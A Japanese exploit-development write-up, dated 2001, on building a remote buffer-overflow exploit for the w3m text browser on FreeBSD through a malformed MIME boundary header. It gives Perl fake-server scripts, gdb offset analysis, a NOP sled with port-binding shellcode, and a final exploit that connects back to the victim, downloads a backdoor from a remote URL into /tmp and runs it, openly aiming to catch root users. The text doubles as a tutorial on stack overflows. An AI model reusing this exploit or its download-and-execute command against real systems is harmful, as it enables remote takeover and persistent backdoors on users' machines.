w3m exploit 作成メモ

 freebsd.org のセキュリティを見ていると、w3m という日本製のテキストWebブラウザに
exploitable な buffer overflow バグが有るとの勧告を見付けました。packetstorm でも
exploitを見掛けていなかったので securityfocus にも行ってみると、

http://www.securityfocus.com/vdb/bottom.html?vid=2895

| Currently the SecurityFocus staff are not aware of any exploits for this issue.
| If you feel we are in error or are aware of more recent information, please
| mail us at: vuldb@securityfocus.com .

とのことだったので、早速自作してみることにしました。
 まずは w3m 0.2.1 を探して来ます。古い package もサーチエンジンで探せば結構ヒット
するものです…。有りました。package なので展開すればコンパイル済みの w3m が出て来ます。

 このバグを発見したのが LAC なので、概要はここで掴めました。
要は、http サーバ“もどき”を書いて、おかしな MIME を食わせてやればいいようです。
しかし、MIME がいまいちよく分からないので検索。ここを読むと

MIME-Version: 1.0
Content-Type: multipart/mixed;
   boundary="__=AMmx?WwwjafJFjfX_ADF"

--__=AMmx?WwwjafJFjfX_ADF
Content-Type: text/plain

Hey! Java Programming!
Hello, world.

--__=AMmx?WwwjafJFjfX_ADF
Content-Type: text/plain

This is multipert Internet Message.

--__=AMmx?WwwjafJFjfX_ADF--

このようなのが正式な MIME の使い方らしいですね。簡単なサーバスクリプトを書いて、
Content-Type: multipart/mixed; boundary="__=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

なんて食わせてみると segfault して core を吐きました。以下、その様子です。


[ TeraTermPro で FreeBSD にログインして ]

% cat w3test
#!/usr/bin/perl
# w3m buffer overflow test prog by White_E

use Socket;
$port=1888;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "bind() err.\n";
listen(S,SOMAXCONN);
print "listen on $port.\n";

$buf = "A" x 999;

while (1) {
  accept(NEW,S);
  select(NEW);$|=1;select(STDOUT);
  print NEW "HTTP/1.0 200 OK\r\n";
  print NEW "MIME-Version: 1.0\r\n";
  print NEW 'Content-Type: text/html; boundary="__=?'.$buf."\r\n";
  print NEW "\r\n";
}

% ./w3test
listen on 1888.


[ 別の TeraTermPro から ]

% w3m
version w3m/0.2.1
usage: w3m [options] [URL or filename]
options:
    -t tab           set tab width
    -r               ignore backspace effect
    -l line          # of preserved line (default 10000)
    -B               load bookmark
    -bookmark file   specify bookmark file
    -T type          specify content-type
    -m               internet message mode
    -v               visual startup mode
    -M               monochrome display
    -F               automatically render frame
    -dump            dump formatted page into stdout
    -cols width      specify column width (used with -dump)
    -ppc count       specify the number of pixels per character (4.0...32.0)
    -dump_source     dump page source into stdout
    -dump_head       dump response of HEAD request into stdout
    +           goto  line
    -num             show line number
    -no-proxy        don't use proxy
    -no-mouse        don't use mouse
    -cookie          use cookie (-no-cookie: don't use cookie)
    -pauth user:pass proxy authentication
    -no-graph        don't use graphic character
    -S               squeeze multiple blank lines
    -W               toggle wrap search mode
    -X               don't use termcap init/deinit
    -o opt=value     assign value to config option
    -config file     specify config file
    -debug           DO NOT USE
% 
% w3m http://localhost:1888/

Segmentation fault (core dumped)
% 
% ls -alF *.core
-rw-------  1 work  guest  737280 Aug 14 17:55 w3m.core
% gdb -c w3m.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `w3m'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) backtrace
#0  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) info registers
eax            0x80b2a20        134949408
ecx            0x8098884        134842500
edx            0x80b59b0        134961584
ebx            0x80b2a40        134949440
esp            0xbfbff9dc       0xbfbff9dc
ebp            0x41414141       0x41414141
esi            0x80b6f2a        134967082
edi            0x80e5ac5        135158469
eip            0x41414141       0x41414141
eflags         0x10212  66066
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb)

 eip が 0x41414141 に上書きされています。0x41 は文字 "A" の
アスキーコードです。つまり、AAAAAAAAA... が buffer からはみ出して eip に
までかかったという訳です。適当に A を 999 bytes 与えてみましたが、
一体何 bytes で overflow するのでしょうか。色々と A の個数を変えて試して
みると…。

"A" x 38 の時:
eip            0x80abb6b        0x80abb6b

"A" x 39 の時:
eip            0xa414141        0xa414141

"A" x 40 の時:
eip            0x41414141       0x41414141

こうなりました。40 bytes 与えれば丁度 eip を上書き出来るようです。

% cat w3test
#!/usr/bin/perl
# we can overwrite eip to any value!

use Socket;
$port=1888;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "bind() err.\n";
listen(S,SOMAXCONN);
print "listen on $port.\n";

$buf = "A" x 36;
$buf .= "\x12\x34\x56\x78";

while (1) {
  accept(NEW,S);
  select(NEW);$|=1;select(STDOUT);
  print NEW "HTTP/1.0 200 OK\r\n";
  print NEW "MIME-Version: 1.0\r\n";
  print NEW 'Content-Type: text/html; boundary="__=?'.$buf."\r\n";
  print NEW "\r\n";
}

% ./w3test
listen on 1888.

[ 別の TeraTermPro から ]

% w3m http://localhost:1888/

Segmentation fault (core dumped)

% gdb -c w3m.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `w3m'.
Program terminated with signal 11, Segmentation fault.
#0  0x78563412 in ?? ()
(gdb) info registers
eax            0x80b2a20        134949408
ecx            0x8098884        134842500
edx            0x80b59b0        134961584
ebx            0x80b2a40        134949440
esp            0xbfbff9dc       0xbfbff9dc
ebp            0x41414141       0x41414141
esi            0x80b6f2a        134967082
edi            0x80e4f2d        135155501
eip            0x78563412       0x78563412
eflags         0x10216  66070
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb)

 "AAA...(36bytes) + \x12\x34\x56\x78" を与えると eip は 0x78563412 になりました。
これは CPU が little endian であるからです。ということは、0x12345678 に飛ばしたい
場合は "何か36bytes + \x78\x56\x34\x12" を与えてやればいい訳です。
 つまり、"何か 36 bytes | 飛び先の任意のアドレス" という文字列を与えれば、自由に
処理を任意のアドレスに飛ばせます。飛んだ先に shellcode が有ればそれが実行される…
これが buffer overflow exploit です。

 では shellcode を探して来ましょう。私は自力で shellcode を書けないので他の方の
ものを使わせて頂くことにします。www.hack.co.za に shellcode のコーナーが有ります。
/bin/sh を実行するもの、port を開けてshellを提供するもの、こちらの IP アドレスに
接続して来るもの等、様々です。

portbinding shellcode by bighawk
今回はこれを使用しました。port 10000 に bind するタイプのshellです。
exploitが成功すると、telnet victim.com 10000 で自由にコマンドが打てます。

 さて、shellcode を置く場所ですが、phrack の にも有る通り、大抵は

メモリ下位                                     メモリ上位
[           buffer          ][  sfp  ][  eip  ]
[NOPNOPNOPNOPNOPNOPNOP...NOP|shellcode|retaddr|

こんな風に、overflow したbufferの方向に飛び、NOP で滑って右に進んで行き、
shellcode に辿り着きそれが実行されるというのが一般的なのですが、如何せん今回は自由に
使えるのは 36 bytes です。bighawk 氏の shellcode は86 bytes なので収まりません。
そこで…

メモリ下位                                     メモリ上位
[           buffer          ][  sfp  ][  eip  ]
[AAAAAAAAAAAAAAAAAAAAA...AAA(36 bytes)|retaddr|NOPNOP...NOP|shellcode

こんなスタイルでexploitすることにしました。

 NOP とは No OPeration つまり、「何もしない」という命令です。これは x86 な CPU
では 0x90 です。これにより、こちらの与える return address が正確に shellcode の
先頭を指していなくても NOP のレールのどこかに飛べば「何もしない」を実行しながら
進んで行き、shellcode の先頭に辿り着けます。つまりexploitの成功率を上げることが
出来ます。
 あと、sfp (saved frame pointer) に関しては気にしないで下さい(笑)。
そういう領域が buffer と return address の間に 4 bytes 有るんだな、くらいに
思って下さい。

 再びさっきの core を gdb で覗いてみます。x/32000 0xbfbff000 で、アドレス 0xbfbff000
から上のメモリをざっと眺めていきます。

% gdb -c w3m.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `w3m'.
Program terminated with signal 11, Segmentation fault.
#0  0x78563412 in ?? ()
(gdb)
(gdb) x/32000 0xbfbff000
0xbfbff000:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbff010:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbff020:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbff030:     0x00000000      0x00000000      0x00000000      0x2809088b
0xbfbff040:     0x280c67eb      0x280c67eb      0x00000000      0x2809083a
0xbfbff050:     0x2809e2a8      0x280a2060      0x00000000      0x00000000
0xbfbff060:     0x00000000      0x010a2060      0xbfbff0a8      0x280907e7
(    中  略    )
0xbfbff970:     0x0807ab15      0x0000005b      0x080b2a80      0xbfbff9dd
0xbfbff980:     0x0807ab09      0x00000051      0x080b2a40      0xbfbff9cc
0xbfbff990:     0x0807ab15      0xbfbff9d4      0x08079375      0x080b2a40
0xbfbff9a0:     0x080b6f2a      0x00000051      0x080e4f08      0xbfbff9dc
0xbfbff9b0:     0x080e4f58      0x41414141      0x41414141      0x41414141
0xbfbff9c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbff9d0:     0x41414141      0x41414141      0x78563412      0xbfbffa0a
0xbfbff9e0:     0x080793a4      0x00000050      0x00000002      0x080b2a80
0xbfbff9f0:     0x080b6f2a      0x080b6f0d      0x080b2a80      0xbfbffa7c
---Type  to continue, or q  to quit---q
Quit
(gdb)

 414141414141...78563412 の列が有りました。つまり、0xbfbff9e0 の辺りから上位に
NOP と shellcode が置かれることになります。取り敢えず置いてみましょう。


% cat w3test
#!/usr/bin/perl

$shellcode= # http://www.hack.co.za/download.php?sid=1444
            # portbind shell on 10000 by bighawk
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89".
"\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50".
"\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53".
"\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53".
"\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69".
"\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; # 86 bytes

use Socket;
$port=1888;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "bind() err.\n";
listen(S,SOMAXCONN);
print "listen on $port.\n";

$buf = "A" x 36;
$buf .= "\x12\x34\x56\x78";
$buf .= "\x90" x 128;
$buf .= $shellcode;

while (1) {
  accept(NEW,S);
  select(NEW);$|=1;select(STDOUT);
  print NEW "HTTP/1.0 200 OK\r\n";
  print NEW "MIME-Version: 1.0\r\n";
  print NEW 'Content-Type: text/html; boundary="__=?'.$buf."\r\n";
  print NEW "\r\n";
}

% ./w3test
listen on 1888.



[ 別の TeraTermPro から ]

% w3m http://localhost:1888/

Segmentation fault (core dumped)

% gdb -c w3m.core
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd".
Core was generated by `w3m'.
Program terminated with signal 11, Segmentation fault.
#0  0x78563412 in ?? ()
(gdb) x/32000 0xbfbff900
0xbfbff900:     0x00000001      0x280a1000      0xbfbff948      0x2808f016
0xbfbff910:     0x08049140      0x00000005      0x00000032      0x2808efea
0xbfbff920:     0x2809e2a8      0x280a1000      0x0809077c      0x28090e95
0xbfbff930:     0x2809e2a8      0x280a1000      0x080d6400      0x080b2a20
0xbfbff940:     0xbfbffa08      0x280a1300      0xbfbff978      0xbfbffab3
0xbfbff950:     0xbfbffa08      0xbfbff994      0x0807aad9      0x00000020
0xbfbff960:     0x00000004      0xbfbff994      0x0807aacd      0x0000000c
0xbfbff970:     0x0807ab15      0x00000131      0x080b2a80      0xbfbffab3
0xbfbff980:     0x0807ab09      0x00000127      0x080b2a40      0xbfbff9cc
0xbfbff990:     0x0807ab15      0xbfbff9d4      0x08079375      0x080b2a40
0xbfbff9a0:     0x080b6f2a      0x00000127      0x080e0d68      0xbfbff9dc
0xbfbff9b0:     0x080e0e8e      0x41414141      0x41414141      0x41414141
0xbfbff9c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfbff9d0:     0x41414141      0x41414141      0x78563412      0x90909090
0xbfbff9e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbff9f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbffa50:     0x90909090      0x90909090      0x90909090      0xe1f7c931
0xbfbffa60:     0x41514151      0x61b05151      0xc38980cd      0x27686652
0xbfbffa70:     0x89516610      0x5110b1e6      0xb0505056      0x5180cd68
0xbfbffa80:     0x6ab05353      0x525280cd      0x1eb05353      0x03b180cd
0xbfbffa90:     0x5ab0c389      0x53535149      0xe24180cd      0x2f6851f5
0xbfbffaa0:     0x6868732f      0x6e69622f      0x5451e389      0x3bb05353
0xbfbffab0:     0x080a80cd      0x00000000      0xc014630a      0xbfbffb88
0xbfbffac0:     0x080b2ba0      0x080725ac      0x00000001      0x00000000
0xbfbffad0:     0x080dc270      0x00000000      0x00000588      0xbfbffd1e
0xbfbffae0:     0x2817a3fe      0x00000000      0x00000000      0x00bffb40
0xbfbffaf0:     0xffffffff      0x00000000      0x402c7413      0xbfbffb50
---Type  to continue, or q  to quit---q
Quit
(gdb)

 0xbfbff9dd 〜 0xbfbffa5c が NOP (0x90) で埋まりました。そして 0xbfbffa5d から先に
shellcode が置かれています。つまり return address を出鱈目な 0x12345678 ではなく、
0xbfbff9dd 〜 0xbfbffa5d の範囲の何かにしてやれば、shellcode が実行される訳です。
やってみましょう。

% cat w3test
#!/usr/bin/perl

$retaddr = 0xbfbff9ff;
# try 0xbfbff9dd - 0xbfbffa5d

$shellcode= # http://www.hack.co.za/download.php?sid=1444
            # portbind shell on 10000 by bighawk
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89".
"\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50".
"\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53".
"\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53".
"\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69".
"\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; # 86 bytes

use Socket;
$port=1888;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "bind() err.\n";
listen(S,SOMAXCONN);
print "listen on $port.\n";

$buf = "A" x 36;
$buf .= pack("V",$retaddr);
$buf .= "\x90" x 128;
$buf .= $shellcode;

while (1) {
  accept(NEW,S);
  select(NEW);$|=1;select(STDOUT);
  print NEW "HTTP/1.0 200 OK\r\n";
  print NEW "MIME-Version: 1.0\r\n";
  print NEW 'Content-Type: text/html; boundary="__=?'.$buf."\r\n";
  print NEW "\r\n";
}

% ./w3test
listen on 1888.
( w3m が接続 )
^C
% netstat -an | grep '10000'
tcp4       0      0  *.10000                *.*                    LISTEN
% telnet localhost 10000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=1032(work) gid=31(guest) groups=31(guest)
: not found

 成功です。port 10000 で /bin/sh が走っています。exploit完了ー。
さて、ここまでは楽に来たのですが、この後少し問題が起きました。攻撃された方、
つまり w3m の利用者の方では HTTP/1.0 200 OK が返って来た後、w3m が固まって
しまいます。当然利用者は ^C で w3m を強制終了するでしょう。すると、折角開いてくれた
port 10000 も同時に閉じてしまいます。これは困ります。一日中誰かが引っ掛かるのを
待ち構えて、相手が ^C する前に port 10000 に接続して侵入しなければいけません。
これは現実的では有りませんね。
 そこで、w3m の -dump_source オプションを使うことにします。相手のシステムに
w3m が入っているのは当然なので、こちらはまずどこか適当な Web スペースに
コンパイル済みの backdoor を置いておき、それをダウンロードさせるようにしましょう。
shellcode が実行された直後に自動的に port 10000 に接続して、backdoor のダウン
ロードと起動までを一気に行います。これが packetstorm 掲載バージョンのexploitです。
 これで、相手が w3m を終了させてもいつでも backdoor に接続出来るというものに
なりました。少しは現実的になったでしょう。root が w3m を使ってこのトラップにかかって
くれればいきなりrootが手に入ります。





PSS 掲載バージョン w3m remote passive exploit


#!/usr/bin/perl

# ---- exp_w3m.pl
# w3m remote buffer overflow exploit for FreeBSD.
# this fake httpd gives exploit code to visitor's w3m, then
# connects to victim's port 10000, downloads backdoor from
# $backdoor, and executes it.
# see also:
# ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:46.w3m.asc
# 
# 					White_E <white_e@bigfoot.com>
# 					http://ttj.virtualave.net/

$backdoor='http://www.../any.backdoor.prog.you.want';
$ret = 0xbfbffa2c;
$ret -= $ARGV[0];
$retb = pack("V",$ret); # little endian

$shellcode= # http://www.hack.co.za/download.php?sid=1444
            # portbind shell on 10000 by bighawk
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89".
"\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50".
"\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53".
"\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53".
"\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69".
"\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"; # 86 bytes

use Socket;
$port=80;
$|=1;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
select(S);$|=1;select(STDOUT);
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
$paddr=sockaddr_in($port,INADDR_ANY);
bind(S,$paddr) || die "ERR: bind()\n";
listen(S,SOMAXCONN) || die "ERR: listen()\n";
print "listen on $port.\n";
$str  = "A" x 36;
$str .= $retb;
$str .= "\x90" x 128;
$str .= $shellcode;

while (1) {
  $victim=accept(VIC,S);
  $vaddr=(sockaddr_in($victim))[1];
  select(VIC);$|=1;select(STDOUT);
  $in=<VIC>;
  $in=<VIC>;
  print VIC "HTTP/1.0 200 OK\r\n";
  print VIC "MIME-Version: 1.0\r\n";
  print VIC "Content-Type: multipart/mixed; boundary=\"__=?$str\r\n";
  print VIC "\r\n";
  sleep(1);
  socket(BD,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
  $paddr=sockaddr_in('10000',$vaddr) || die "ERR: sockaddr_in\n";
  connect(BD,$paddr) || die "ERR: connect()\n";
  select(BD);$|=1;select(STDOUT);
  print BD "/usr/local/bin/w3m -dump_source $backdoor > /tmp/hoge \; /bin/chmod +x /tmp/hoge \;
 /tmp/hoge & \n";
  print "backdoor has been set.\n";
  close(BD);
}




written by White_E <white_e@bigfoot.com>
H13/08/22


[Home] | [BBS]